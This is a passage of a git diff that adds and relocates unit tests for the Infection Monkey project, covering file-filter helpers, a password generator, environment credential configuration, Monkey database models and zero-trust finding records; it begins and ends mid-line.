is_not_shortcut_filter, + is_not_symlink_filter, +) + +SHORTCUT = "shortcut.lnk" +FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz", "2.png", "2.mpg", SHORTCUT] +SUBDIRS = ["subdir1", "subdir2"] + + +def add_subdirs_to_dir(parent_dir): + subdirs = [parent_dir / s for s in SUBDIRS] + + for subdir in subdirs: + subdir.mkdir() + + return subdirs + + +def add_files_to_dir(parent_dir): + files = [parent_dir / f for f in FILES] + + for f in files: + f.touch() + + return files + + +def test_get_all_regular_files_in_directory__no_files(tmp_path, monkeypatch): + add_subdirs_to_dir(tmp_path) + + expected_return_value = [] + assert get_all_regular_files_in_directory(tmp_path) == expected_return_value + + +def test_get_all_regular_files_in_directory__has_files(tmp_path, monkeypatch): + add_subdirs_to_dir(tmp_path) + files = add_files_to_dir(tmp_path) + + expected_return_value = sorted(files) + assert sorted(get_all_regular_files_in_directory(tmp_path)) == expected_return_value + + +def test_get_all_regular_files_in_directory__subdir_has_files(tmp_path, monkeypatch): + subdirs = add_subdirs_to_dir(tmp_path) + add_files_to_dir(subdirs[0]) + + files = add_files_to_dir(tmp_path) + + expected_return_value = sorted(files) + assert sorted(get_all_regular_files_in_directory(tmp_path)) == expected_return_value + + +def test_filter_files__no_results(tmp_path): + add_files_to_dir(tmp_path) + + files_in_dir = get_all_regular_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, [lambda _: False]) + + assert len(filtered_files) == 0 + + +def test_filter_files__all_true(tmp_path): + files = add_files_to_dir(tmp_path) + expected_return_value = sorted(files) + + files_in_dir = get_all_regular_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, [lambda _: True]) + + assert sorted(filtered_files) == expected_return_value + + +def test_filter_files__multiple_filters(tmp_path): + files = add_files_to_dir(tmp_path) + expected_return_value = sorted(files[4:6]) + + files_in_dir = get_all_regular_files_in_directory(tmp_path) + filtered_files = filter_files( + files_in_dir, [lambda f: f.name.startswith("2"), lambda f: f.name.endswith("g")] + ) + + assert sorted(filtered_files) == expected_return_value + + +def test_file_extension_filter(tmp_path): + valid_extensions = {".zip", ".xyz"} + + files = add_files_to_dir(tmp_path) + + files_in_dir = get_all_regular_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, [file_extension_filter(valid_extensions)]) + + assert sorted(files[0:2]) == sorted(filtered_files) + + +@pytest.mark.skipif( + os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows" +) +def test_is_not_symlink_filter(tmp_path): + files = add_files_to_dir(tmp_path) + link_path = tmp_path / "symlink.test" + link_path.symlink_to(files[0], target_is_directory=False) + + files_in_dir = get_all_regular_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, [is_not_symlink_filter]) + + assert link_path in files_in_dir + assert len(filtered_files) == len(FILES) + assert link_path not in filtered_files + + +def test_is_not_shortcut_filter(tmp_path): + add_files_to_dir(tmp_path) + + files_in_dir = get_all_regular_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, [is_not_shortcut_filter]) + + assert len(filtered_files) == len(FILES) - 1 + assert SHORTCUT not in [f.name for f in filtered_files] diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py b/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py new file mode 100644 index 000000000..bdd97cdfd --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py @@ -0,0 +1,13 @@ +from infection_monkey.utils.random_password_generator import get_random_password + + +def test_get_random_password__length(): + password_byte_length = len(get_random_password().encode()) + # 32 is the recommended secure byte length for secrets + assert password_byte_length >= 32 + + +def test_get_random_password__randomness(): + random_password1 = get_random_password() + random_password2 = get_random_password() + assert not random_password1 == random_password2 diff --git a/monkey/tests/unit_tests/monkey_island/__init__.py b/monkey/tests/unit_tests/monkey_island/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/tests/unit_tests/monkey_island/cc/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py new file mode 100644 index 000000000..c89c4c294 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -0,0 +1,25 @@ +# Without these imports pytests can't use fixtures, +# because they are not found +import json +import os + +import pytest +from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 +from tests.unit_tests.monkey_island.cc.services.utils.test_config_encryption import ( + MONKEY_CONFIGS_DIR_PATH, + STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, +) + + +@pytest.fixture +def monkey_config(data_for_tests_dir): + plaintext_monkey_config_standard_path = os.path.join( + data_for_tests_dir, MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME + ) + plaintext_config = json.loads(open(plaintext_monkey_config_standard_path, "r").read()) + return plaintext_config + + +@pytest.fixture +def monkey_config_json(monkey_config): + return json.dumps(monkey_config) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/environment/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py new file mode 100644 index 000000000..767f765d9 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py @@ -0,0 +1,23 @@ +import os + +import pytest + + +@pytest.fixture(scope="module") +def with_credentials(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_with_credentials.json") + + +@pytest.fixture(scope="module") +def no_credentials(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_no_credentials.json") + + +@pytest.fixture(scope="module") +def partial_credentials(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_partial_credentials.json") + + +@pytest.fixture(scope="module") +def standard_with_credentials(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_standard_with_credentials.json") diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py new file mode 100644 index 000000000..030f99169 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py @@ -0,0 +1,157 @@ +import os +import tempfile +from typing import Dict +from unittest import TestCase +from unittest.mock import MagicMock, patch + +import pytest + +from common.utils.exceptions import ( + AlreadyRegisteredError, + CredentialsNotRequiredError, + InvalidRegistrationCredentialsError, + RegistrationNotNeededError, +) +from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds + +WITH_CREDENTIALS = None +NO_CREDENTIALS = None +PARTIAL_CREDENTIALS = None +STANDARD_WITH_CREDENTIALS = None +STANDARD_ENV = None + +EMPTY_USER_CREDENTIALS = UserCreds("", "") +FULL_USER_CREDENTIALS = UserCreds(username="test", password_hash="1231234") + + +# This fixture is a dirty hack that can be removed once these tests are converted from +# unittest to pytest. Instead, the appropriate fixtures from conftest.py can be used. +@pytest.fixture(scope="module", autouse=True) +def configure_resources(server_configs_dir): + global WITH_CREDENTIALS + global NO_CREDENTIALS + global PARTIAL_CREDENTIALS + global STANDARD_WITH_CREDENTIALS + global STANDARD_ENV + + WITH_CREDENTIALS = os.path.join(server_configs_dir, "server_config_with_credentials.json") + NO_CREDENTIALS = os.path.join(server_configs_dir, "server_config_no_credentials.json") + PARTIAL_CREDENTIALS = os.path.join(server_configs_dir, "server_config_partial_credentials.json") + STANDARD_WITH_CREDENTIALS = os.path.join( + server_configs_dir, "server_config_standard_with_credentials.json" + ) + STANDARD_ENV = os.path.join(server_configs_dir, "server_config_standard_env.json") + + +def get_tmp_file(): + with tempfile.NamedTemporaryFile(delete=False) as f: + return f.name + + +class StubEnvironmentConfig(EnvironmentConfig): + def __init__(self, server_config, deployment, user_creds): + self.server_config = server_config + self.deployment = deployment + self.user_creds = user_creds + self.server_config_path = get_tmp_file() + + def __del__(self): + os.remove(self.server_config_path) + + +class TestEnvironment(TestCase): + class EnvironmentCredentialsNotRequired(Environment): + def __init__(self): + config = StubEnvironmentConfig("test", "test", EMPTY_USER_CREDENTIALS) + super().__init__(config) + + _credentials_required = False + + def get_auth_users(self): + return [] + + class EnvironmentCredentialsRequired(Environment): + def __init__(self): + config = StubEnvironmentConfig("test", "test", EMPTY_USER_CREDENTIALS) + super().__init__(config) + + _credentials_required = True + + def get_auth_users(self): + return [] + + class EnvironmentAlreadyRegistered(Environment): + def __init__(self): + config = StubEnvironmentConfig("test", "test", UserCreds("test_user", "test_secret")) + super().__init__(config) + + _credentials_required = True + + def get_auth_users(self): + return [1, "Test_username", "Test_secret"] + + @patch.object(target=EnvironmentConfig, attribute="save_to_file", new=MagicMock()) + def test_try_add_user(self): + env = TestEnvironment.EnvironmentCredentialsRequired() + credentials = FULL_USER_CREDENTIALS + env.try_add_user(credentials) + + credentials = UserCreds(username="test", password_hash="") + with self.assertRaises(InvalidRegistrationCredentialsError): + env.try_add_user(credentials) + + env = TestEnvironment.EnvironmentCredentialsNotRequired() + credentials = FULL_USER_CREDENTIALS + with self.assertRaises(RegistrationNotNeededError): + env.try_add_user(credentials) + + def test_try_needs_registration(self): + env = TestEnvironment.EnvironmentAlreadyRegistered() + with self.assertRaises(AlreadyRegisteredError): + env._try_needs_registration() + + env = TestEnvironment.EnvironmentCredentialsNotRequired() + with self.assertRaises(CredentialsNotRequiredError): + env._try_needs_registration() + + env = TestEnvironment.EnvironmentCredentialsRequired() + self.assertTrue(env._try_needs_registration()) + + def test_needs_registration(self): + env = TestEnvironment.EnvironmentCredentialsRequired() + self._test_bool_env_method("needs_registration", env, WITH_CREDENTIALS, False) + self._test_bool_env_method("needs_registration", env, NO_CREDENTIALS, True) + self._test_bool_env_method("needs_registration", env, PARTIAL_CREDENTIALS, True) + + env = TestEnvironment.EnvironmentCredentialsNotRequired() + self._test_bool_env_method("needs_registration", env, STANDARD_ENV, False) + self._test_bool_env_method("needs_registration", env, STANDARD_WITH_CREDENTIALS, False) + + def test_is_registered(self): + env = TestEnvironment.EnvironmentCredentialsRequired() + self._test_bool_env_method("_is_registered", env, WITH_CREDENTIALS, True) + self._test_bool_env_method("_is_registered", env, NO_CREDENTIALS, False) + self._test_bool_env_method("_is_registered", env, PARTIAL_CREDENTIALS, False) + + env = TestEnvironment.EnvironmentCredentialsNotRequired() + self._test_bool_env_method("_is_registered", env, STANDARD_ENV, False) + self._test_bool_env_method("_is_registered", env, STANDARD_WITH_CREDENTIALS, False) + + def test_is_credentials_set_up(self): + env = TestEnvironment.EnvironmentCredentialsRequired() + self._test_bool_env_method("_is_credentials_set_up", env, NO_CREDENTIALS, False) + self._test_bool_env_method("_is_credentials_set_up", env, WITH_CREDENTIALS, True) + self._test_bool_env_method("_is_credentials_set_up", env, PARTIAL_CREDENTIALS, False) + + env = TestEnvironment.EnvironmentCredentialsNotRequired() + self._test_bool_env_method("_is_credentials_set_up", env, STANDARD_ENV, False) + + def _test_bool_env_method( + self, method_name: str, env: Environment, config: Dict, expected_result: bool + ): + env._config = EnvironmentConfig(config) + method = getattr(env, method_name) + if expected_result: + self.assertTrue(method()) + else: + self.assertFalse(method()) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py new file mode 100644 index 000000000..0e3efda04 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py @@ -0,0 +1,95 @@ +import json +import os +import shutil + +import pytest + +from monkey_island.cc.environment.environment_config import EnvironmentConfig +from monkey_island.cc.environment.user_creds import UserCreds + + +@pytest.fixture +def config_file(tmpdir): + return os.path.join(tmpdir, "test_config.json") + + +def test_get_with_credentials(with_credentials): + config_dict = EnvironmentConfig(with_credentials).to_dict() + + assert len(config_dict.keys()) == 4 + assert config_dict["server_config"] == "password" + assert config_dict["deployment"] == "develop" + assert config_dict["user"] == "test" + assert config_dict["password_hash"] == "abcdef" + + +def test_get_with_no_credentials(no_credentials): + config_dict = EnvironmentConfig(no_credentials).to_dict() + + assert len(config_dict.keys()) == 2 + assert config_dict["server_config"] == "password" + assert config_dict["deployment"] == "develop" + + +def test_get_with_partial_credentials(partial_credentials): + config_dict = EnvironmentConfig(partial_credentials).to_dict() + + assert len(config_dict.keys()) == 3 + assert config_dict["server_config"] == "password" + assert config_dict["deployment"] == "develop" + assert config_dict["user"] == "test" + + +def test_save_to_file(config_file, standard_with_credentials): + shutil.copyfile(standard_with_credentials, config_file) + + environment_config = EnvironmentConfig(config_file) + environment_config.aws = "test_aws" + environment_config.save_to_file() + + with open(config_file, "r") as f: + from_file = json.load(f) + + assert environment_config.to_dict() == from_file["environment"] + + +def test_save_to_file_preserve_log_level(config_file, standard_with_credentials): + shutil.copyfile(standard_with_credentials, config_file) + + environment_config = EnvironmentConfig(config_file) + environment_config.aws = "test_aws" + environment_config.save_to_file() + + with open(config_file, "r") as f: + from_file = json.load(f) + + assert "log_level" in from_file + assert from_file["log_level"] == "NOTICE" + + +def test_add_user(config_file, standard_with_credentials): + new_user = "new_user" + new_password_hash = "fedcba" + new_user_creds = UserCreds(new_user, new_password_hash) + + shutil.copyfile(standard_with_credentials, config_file) + + environment_config = EnvironmentConfig(config_file) + environment_config.add_user(new_user_creds) + + with open(config_file, "r") as f: + from_file = json.load(f) + + assert len(from_file["environment"].keys()) == 4 + assert from_file["environment"]["user"] == new_user + assert from_file["environment"]["password_hash"] == new_password_hash + + +def test_get_users(standard_with_credentials): + environment_config = EnvironmentConfig(standard_with_credentials) + users = environment_config.get_users() + + assert len(users) == 1 + assert users[0].id == 1 + assert users[0].username == "test" + assert users[0].secret == "abcdef" diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_user_creds.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_user_creds.py new file mode 100644 index 000000000..7d83ba59f --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_user_creds.py @@ -0,0 +1,44 @@ +from monkey_island.cc.environment.user_creds import UserCreds + +TEST_USER = "Test" +TEST_HASH = "abc1231234" + + +def test_bool_true(): + assert UserCreds(TEST_USER, TEST_HASH) + + +def test_bool_false_empty_password_hash(): + assert not UserCreds(TEST_USER, "") + + +def test_bool_false_empty_user(): + assert not UserCreds("", TEST_HASH) + + +def test_bool_false_empty_user_and_password_hash(): + assert not UserCreds("", "") + + +def test_to_dict_empty_creds(): + user_creds = UserCreds("", "") + assert user_creds.to_dict() == {} + + +def test_to_dict_full_creds(): + user_creds = UserCreds(TEST_USER, TEST_HASH) + assert user_creds.to_dict() == {"user": TEST_USER, "password_hash": TEST_HASH} + + +def test_to_auth_user_full_credentials(): + user_creds = UserCreds(TEST_USER, TEST_HASH) + auth_user = user_creds.to_auth_user() + assert auth_user.id == 1 + assert auth_user.username == TEST_USER + assert auth_user.secret == TEST_HASH + + +def test_member_values(monkeypatch): + creds = UserCreds(TEST_USER, TEST_HASH) + assert creds.username == TEST_USER + assert creds.password_hash == TEST_HASH diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py similarity index 69% rename from monkey/monkey_island/cc/models/test_monkey.py rename to monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py index 7860de20e..90fd9032a 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_monkey.py @@ -1,28 +1,21 @@ import logging import uuid -from time import sleep import pytest from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError - -from .monkey_ttl import MonkeyTtl -from ..test_common.fixtures import FixtureEnum +from monkey_island.cc.models.monkey_ttl import MonkeyTtl logger = logging.getLogger(__name__) class TestMonkey: - - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_is_dead(self): # Arrange alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) alive_monkey_ttl.save() - alive_monkey = Monkey( - guid=str(uuid.uuid4()), - dead=False, - ttl_ref=alive_monkey_ttl.id) + alive_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=alive_monkey_ttl.id) alive_monkey.save() # MIA stands for Missing In Action @@ -30,8 +23,9 @@ class TestMonkey: mia_monkey_ttl.save() mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl.id) mia_monkey.save() - # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance. - sleep(1) + + # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a + # real mongo instance. mia_monkey_ttl.delete() dead_monkey = Monkey(guid=str(uuid.uuid4()), dead=True) @@ -42,7 +36,7 @@ class TestMonkey: assert mia_monkey.is_dead() assert not alive_monkey.is_dead() - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_ttl_renewal(self): # Arrange monkey = Monkey(guid=str(uuid.uuid4())) @@ -53,7 +47,7 @@ class TestMonkey: monkey.renew_ttl() assert monkey.ttl_ref - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_single_monkey_by_id(self): # Arrange a_monkey = Monkey(guid=str(uuid.uuid4())) @@ -67,14 +61,14 @@ class TestMonkey: with pytest.raises(MonkeyNotFoundError) as _: _ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef") - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_os(self): - linux_monkey = Monkey(guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu") - windows_monkey = Monkey(guid=str(uuid.uuid4()), - description="Windows bla bla bla") - unknown_monkey = Monkey(guid=str(uuid.uuid4()), - description="bla bla bla") + linux_monkey = Monkey( + guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu", + ) + windows_monkey = Monkey(guid=str(uuid.uuid4()), description="Windows bla bla bla") + unknown_monkey = Monkey(guid=str(uuid.uuid4()), description="bla bla bla") linux_monkey.save() windows_monkey.save() unknown_monkey.save() @@ -83,34 +77,37 @@ class TestMonkey: assert 1 == len([m for m in Monkey.objects() if m.get_os() == "linux"]) assert 1 == len([m for m in Monkey.objects() if m.get_os() == "unknown"]) - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_tunneled_monkeys(self): - linux_monkey = Monkey(guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine") - windows_monkey = Monkey(guid=str(uuid.uuid4()), - description="Windows bla bla bla", - tunnel=linux_monkey) - unknown_monkey = Monkey(guid=str(uuid.uuid4()), - description="bla bla bla", - tunnel=windows_monkey) + linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine") + windows_monkey = Monkey( + guid=str(uuid.uuid4()), description="Windows bla bla bla", tunnel=linux_monkey + ) + unknown_monkey = Monkey( + guid=str(uuid.uuid4()), description="bla bla bla", tunnel=windows_monkey + ) linux_monkey.save() windows_monkey.save() unknown_monkey.save() tunneled_monkeys = Monkey.get_tunneled_monkeys() - test = bool(windows_monkey in tunneled_monkeys - and unknown_monkey in tunneled_monkeys - and linux_monkey not in tunneled_monkeys - and len(tunneled_monkeys) == 2) + test = bool( + windows_monkey in tunneled_monkeys + and unknown_monkey in tunneled_monkeys + and linux_monkey not in tunneled_monkeys + and len(tunneled_monkeys) == 2 + ) assert test - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_label_by_id(self): hostname_example = "a_hostname" ip_example = "1.1.1.1" - linux_monkey = Monkey(guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine", - hostname=hostname_example, - ip_addresses=[ip_example]) + linux_monkey = Monkey( + guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine", + hostname=hostname_example, + ip_addresses=[ip_example], + ) linux_monkey.save() logger.debug(id(Monkey.get_label_by_id)) @@ -149,7 +146,7 @@ class TestMonkey: assert cache_info_after_query_3.hits == 1 assert cache_info_after_query_3.misses == 2 - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_is_monkey(self): a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_event.py similarity index 71% rename from monkey/monkey_island/cc/models/zero_trust/test_event.py rename to monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_event.py index f4044c037..653be95ec 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_event.py @@ -11,19 +11,15 @@ class TestEvent: _ = Event.create_event( title=None, # title required message="bla bla", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) with pytest.raises(ValidationError): _ = Event.create_event( - title="skjs", - message="bla bla", - event_type="Unknown" # Unknown event type + title="skjs", message="bla bla", event_type="Unknown" # Unknown event type ) # Assert that nothing is raised. _ = Event.create_event( - title="skjs", - message="bla bla", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + title="skjs", message="bla bla", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py similarity index 59% rename from monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py rename to monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py index 56a4066e1..ec0f741df 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_monkey_finding.py @@ -6,33 +6,38 @@ from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -from monkey_island.cc.test_common.fixtures import FixtureEnum MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() -MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] +MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"] class TestMonkeyFinding: - - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_save_finding_validation(self): with pytest.raises(ValidationError): - _ = MonkeyFinding.save_finding(test="bla bla", - status=zero_trust_consts.STATUS_FAILED, - detail_ref=MONKEY_FINDING_DETAIL_MOCK) + _ = MonkeyFinding.save_finding( + test="bla bla", + status=zero_trust_consts.STATUS_FAILED, + detail_ref=MONKEY_FINDING_DETAIL_MOCK, + ) - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_save_finding_sanity(self): assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 event_example = Event.create_event( - title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + title="Event Title", + message="event message", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) monkey_details_example = MonkeyFindingDetails() monkey_details_example.events.append(event_example) monkey_details_example.save() - MonkeyFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=monkey_details_example) + MonkeyFinding.save_finding( + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=monkey_details_example, + ) assert len(MonkeyFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 assert len(MonkeyFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py similarity index 62% rename from monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py rename to monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py index 723b428ff..952d87289 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py @@ -1,30 +1,32 @@ import pytest from mongoengine import ValidationError +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 + RULES, +) import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails -from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES -from monkey_island.cc.test_common.fixtures import FixtureEnum MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() -MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] +MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"] SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails() SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] class TestScoutSuiteFinding: - - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_save_finding_validation(self): with pytest.raises(ValidationError): - _ = ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status="bla bla", - detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK) + _ = ScoutSuiteFinding.save_finding( + test=zero_trust_consts.TEST_SEGMENTATION, + status="bla bla", + detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK, + ) - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_save_finding_sanity(self): assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 @@ -32,9 +34,11 @@ class TestScoutSuiteFinding: scoutsuite_details_example = ScoutSuiteFindingDetails() scoutsuite_details_example.scoutsuite_rules.append(rule_example) scoutsuite_details_example.save() - ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=scoutsuite_details_example) + ScoutSuiteFinding.save_finding( + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=scoutsuite_details_example, + ) assert len(ScoutSuiteFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 assert len(ScoutSuiteFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py similarity index 78% rename from monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py rename to monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py index 8a49d0254..26a41685a 100644 --- a/monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py +++ b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py @@ -6,14 +6,14 @@ from monkey_island.cc.models.edge import Edge from monkey_island.cc.models.zero_trust.finding import Finding -@pytest.fixture(scope='session', autouse=True) +@pytest.fixture(scope="module", autouse=True) def change_to_mongo_mock(): # Make sure tests are working with mongomock mongoengine.disconnect() - mongoengine.connect('mongoenginetest', host='mongomock://localhost') + mongoengine.connect("mongoenginetest", host="mongomock://localhost") -@pytest.fixture(scope='function') +@pytest.fixture(scope="function") def uses_database(): _clean_edge_db() _clean_monkey_db() diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py new file mode 100644 index 000000000..3ca40a11a --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/conftest.py @@ -0,0 +1,29 @@ +import flask_jwt_extended +import flask_restful +import pytest +from flask import Flask + +import monkey_island.cc.app +import monkey_island.cc.resources.auth.auth +import monkey_island.cc.resources.island_mode +from monkey_island.cc.services.representations import output_json + + +@pytest.fixture(scope="session") +def flask_client(monkeypatch_session): + monkeypatch_session.setattr(flask_jwt_extended, "verify_jwt_in_request", lambda: None) + + with mock_init_app().test_client() as client: + yield client + + +def mock_init_app(): + app = Flask(__name__) + + api = flask_restful.Api(app) + api.representations = {"application/json": output_json} + + monkey_island.cc.app.init_app_url_rules(app) + monkey_island.cc.app.init_api_resources(api) + + return app diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py new file mode 100644 index 000000000..d8fd05451 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py @@ -0,0 +1,66 @@ +from unittest import TestCase + +from monkey_island.cc.resources.bootloader import Bootloader + + +class TestBootloader(TestCase): + def test_get_request_contents_linux(self): + data_without_tunnel = ( + 